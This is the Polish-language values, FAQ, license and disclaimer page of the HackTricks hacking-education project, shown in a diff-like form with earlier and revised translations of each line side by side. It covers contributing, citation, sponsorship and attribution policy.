> [!TIP]
> Oto **wartości projektu HackTricks**:
> To są **wartości projektu HackTricks**:
>
> - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu.
> - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej darmowa.
> - Celem tej książki jest służenie jako kompleksowy zasób edukacyjny.
> - **STORE** świetne **hacking** techniki publikowane przez społeczność, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**.
> - **We don't want the credit from other people**, chcemy po prostu przechowywać fajne sztuczki dla wszystkich.
> - Publikujemy także **our own researches** w HackTricks.
> - W kilku przypadkach opiszemy w HackTricks jedynie **podsumowanie najważniejszych części** techniki i **zachęcimy lektora do odwiedzenia oryginalnego wpisu** po więcej szczegółów.
> - **ORGANIZE** wszystkie techniki **hacking** w książce, aby były **MORE ACCESSIBLE**
> - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej**
> - Zapewnić **DARMOWY** dostęp do **EDUKACYJNYCH zasobów hacking** dla **CAŁEGO** Internetu.
> - Hacking polega na nauce, a nauka powinna być możliwie jak najbardziej darmowa.
> - Celem tej książki jest służyć jako kompleksowe **materiały edukacyjne**.
> - **PRZECHOWYWAĆ** świetne techniki **hacking**, które publikuje społeczność, dając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**.
> - **Nie chcemy zabierać zasług innym**, chcemy tylko przechowywać fajne triki dla wszystkich.
> - Pisujemy także **własne badania** w HackTricks.
> - W kilku przypadkach napiszemy tylko **w HackTricks streszczenie ważnych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego posta** po więcej szczegółów.
> - **ORGANIZOWAĆ** wszystkie techniki hacking w książce, aby były **BARDZIEJ DOSTĘPNE**
> - Zespół HackTricks poświęcił tysiące godzin za darmo **tylko na organizację treści**, aby ludzie mogli **uczyć się szybciej**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,35 +23,35 @@
> [!TIP]
>
> - **Thank you so much for these resources, how can I thank you?**
> - **Bardzo dziękuję za te zasoby, jak mogę Wam podziękować?**
Możesz publicznie podziękować zespołowi HackTricks za udostępnienie tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Jeśli jesteś szczególnie wdzięczny możesz również [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
I nie zapomnij dać gwiazdki projektom na GitHubie! (Linki znajdziesz poniżej).
Możesz publicznie podziękować zespołowi HackTricks za udostępnienie wszystkich tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Jeśli jesteś szczególnie wdzięczny możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
I nie zapomnij **dać gwiazdki projektom Github!** (Znajdziesz linki poniżej).
> [!TIP]
>
> - **How can I contribute to the project?**
> - **Jak mogę przyczynić się do projektu?**
Możesz **dzielić się nowymi tips and tricks ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Github:
Możesz **dzielić się nowymi wskazówkami i trikami ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Nie zapomnij dać gwiazdki projektom na Githubie!
Nie zapomnij **dać gwiazdki projektom Github!**
> [!TIP]
>
> - **Can I copy some content from HackTricks and put it in my blog?**
> - **Czy mogę skopiować część treści z HackTricks i zamieścić ją na moim blogu?**
Tak, możesz, ale **nie zapomnij wspomnieć konkretnych link(ów)**, skąd pochodziła zawartość.
Tak, możesz, ale **nie zapomnij podać konkretnego linku(-ów)**, z których pochodzi treść.
> [!TIP]
>
> - **How can I reference a page of HackTricks?**
> - **Jak mogę odnieść się do strony HackTricks?**
Dopóki pojawi się link do strony/stron, z których wzięto informacje, to wystarczy.\
Jeśli potrzebujesz bibtex możesz użyć czegoś takiego:
Wystarczy, że pojawi się link **do** strony(-st), z której wzięto informacje.\
Jeśli potrzebujesz bibtex, możesz użyć czegoś takiego:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Czy mogę skopiować wszystkie HackTricks na mój blog?**
> - **Can I copy all HackTricks in my blog?**
**Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
Jeśli obawiasz się, że zniknie, po prostu zforkuj to na Github lub pobierz — jak już powiedziałem, jest już dostępne za darmo.
Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak mówiłem, już jest darmowa.
> [!WARNING]
>
> - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?**
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
Pierwsza **wartość** HackTricks to oferowanie **DARMOWYCH** edukacyjnych zasobów o hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić te materiały, ponownie, **ZA DARMO**.
Pierwsza wartość HackTricks to oferowanie **DARMOWYCH** materiałów edukacyjnych z zakresu hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby dostarczyć tę zawartość, ponownie, **ZA DARMO**.
Jeśli myślisz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**.
Jeśli myślisz, że książki HackTricks są tworzone w celach **komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**.
Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję przekazania wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz dajemy **odpowiednim firmom z branży cybersecurity** możliwość sponsorowania HackTricks i umieszczania **niektórych reklam** w książce — **reklamy** są zawsze umieszczane w miejscach, w których są **widoczne**, ale **nie przeszkadzają w nauce**, jeśli ktoś skupia się na treści.
Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tak zechce. W związku z tym oferujemy ludziom opcję wsparcia HackTricks za pośrednictwem [**Github sponsors**](https://github.com/sponsors/carlospolop), a także współpracujemy z **istotnymi firmami z branży cybersecurity**, które sponsorują HackTricks i umieszczają w książce **pewne reklamy** — reklamy zawsze są umieszczane w miejscach, które sprawiają, że są **widoczne**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak na innych blogach z o wiele mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
> [!CAUTION]
>
> - **Co zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej odniesiona?**
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy jak najszybciej**.
**Bardzo przepraszamy. To nie powinno się zdarzyć.** Prosimy, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z tą treścią oraz link do Twojego bloga i **sprawdzimy to i dodamy odnośnik ASAP**.
> [!CAUTION]
>
> - **Co zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam mieć?**
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
Zauważ, że posiadanie linków do twojej strony w HackTricks:
Zauważ, że posiadanie linków do Twojej strony w HackTricks:
- Poprawia twoje **SEO**
- Zawartość jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że odkąd któraś z ich stron pojawiła się w HackTricks, otrzymują więcej odwiedzin)
- Poprawia Twoje **SEO**
- Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
- **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (wiele osób wspominało, że odkąd jakaś ich strona pojawiła się w HackTricks, otrzymują więcej odwiedzin)
Jeśli mimo to chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my **usunziemy każdy link do twojego bloga** i wszelką zawartość na nim opartą.
Jednak jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a **definitywnie usuniemy wszystkie linki do Twojego bloga** oraz wszelką treść opartą na nim.
> [!CAUTION]
>
> - **Co zrobić, jeśli znajdę skopiowaną zawartość w HackTricks?**
> - **What should I do if I find copy-pasted content in HackTricks?**
Zawsze **przyznajemy oryginalnym autorom pełne zasługi**. Jeśli znajdziesz stronę ze skopiowaną zawartością bez podania źródła, daj nam znać, a my albo **usunemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją dodając link**.
Zawsze **przyznajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z kopiowaną treścią bez odwołania do źródła, daj nam znać, a my **usunemy ją**, **dodamy link przed tekstem** lub **przepiszemy treść dodając odnośnik**.
## LICENSE
## LICENCJA
Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
Copyright © Wszystkie prawa zastrzeżone, chyba że określono inaczej.
#### License Summary:
#### Podsumowanie licencji:
- Attribution: Masz prawo:
- Share — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie.
- Adapt — remiksować, przekształcać i tworzyć na bazie materiału.
- Uznanie autorstwa: Masz prawo do:
- Share — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie.
- Adapt — remiksowania, przekształcania i tworzenia na bazie materiału.
#### Additional Terms:
#### Dodatkowe warunki:
- Third-Party Content: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami fair use lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o zapoznanie się z oryginalnymi źródłami w celu uzyskania informacji o konkretnych licencjach dotyczących treści stron trzecich.
- Authorship: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy.
- Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać materiały pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Korzystanie z takich materiałów odbywa się w ramach zasad dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy odwołać się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich.
- Autorstwo: Oryginalne treści napisane przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy.
#### Exemptions:
#### Wyłączenia:
- Commercial Use: W sprawach dotyczących komercyjnego wykorzystania tych treści, prosimy o kontakt.
- Użytek komercyjny: W sprawach dotyczących komercyjnego wykorzystania tej zawartości, proszę o kontakt ze mną.
Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani do brandingu w związku z treścią. Wszystkie znaki towarowe i branding występujące w tym blogu/książce są własnością ich odpowiednich właścicieli.
Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani brandingowych związanych z treścią. Wszystkie znaki towarowe i elementy brandingu widoczne w tym blogu/książce są własnością ich odpowiednich właścicieli.
**Korzystając z HackTricks, akceptujesz warunki tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie korzystać z tej strony.**
**Korzystając z HackTricks lub uzyskując do niego dostęp, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie uzyskiwać dostępu do tej witryny.**
## **Disclaimer**
## **Zrzeczenie odpowiedzialności**
> [!CAUTION]
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość tej książki jest udostępniona na zasadzie "as is", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
> Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Zawartość tej książki jest udostępniana w stanie "tak jak jest", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
>
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody powstałe w związku z utratą danych lub zysków wynikających z korzystania z tej książki.
> Autorzy i wydawcy nie ponoszą w żadnym wypadku odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków powstałych w związku z korzystaniem z tej książki.
>
> Ponadto techniki i wskazówki opisane w tej książce są podane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań niezgodnych z prawem lub nieetycznych, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika.
> Ponadto techniki i wskazówki opisane w tej książce są dostarczane w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do nielegalnych ani złośliwych działań. Autorzy i wydawcy nie popierają ani nie akceptują nielegalnych lub nieetycznych działań, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika.
>
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek opisanych technik lub wskazówek.
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przed próbą wdrożenia jakichkolwiek opisanych technik lub wskazówek.
>
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i obowiązków za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
{{#include ../banners/hacktricks-training.md}}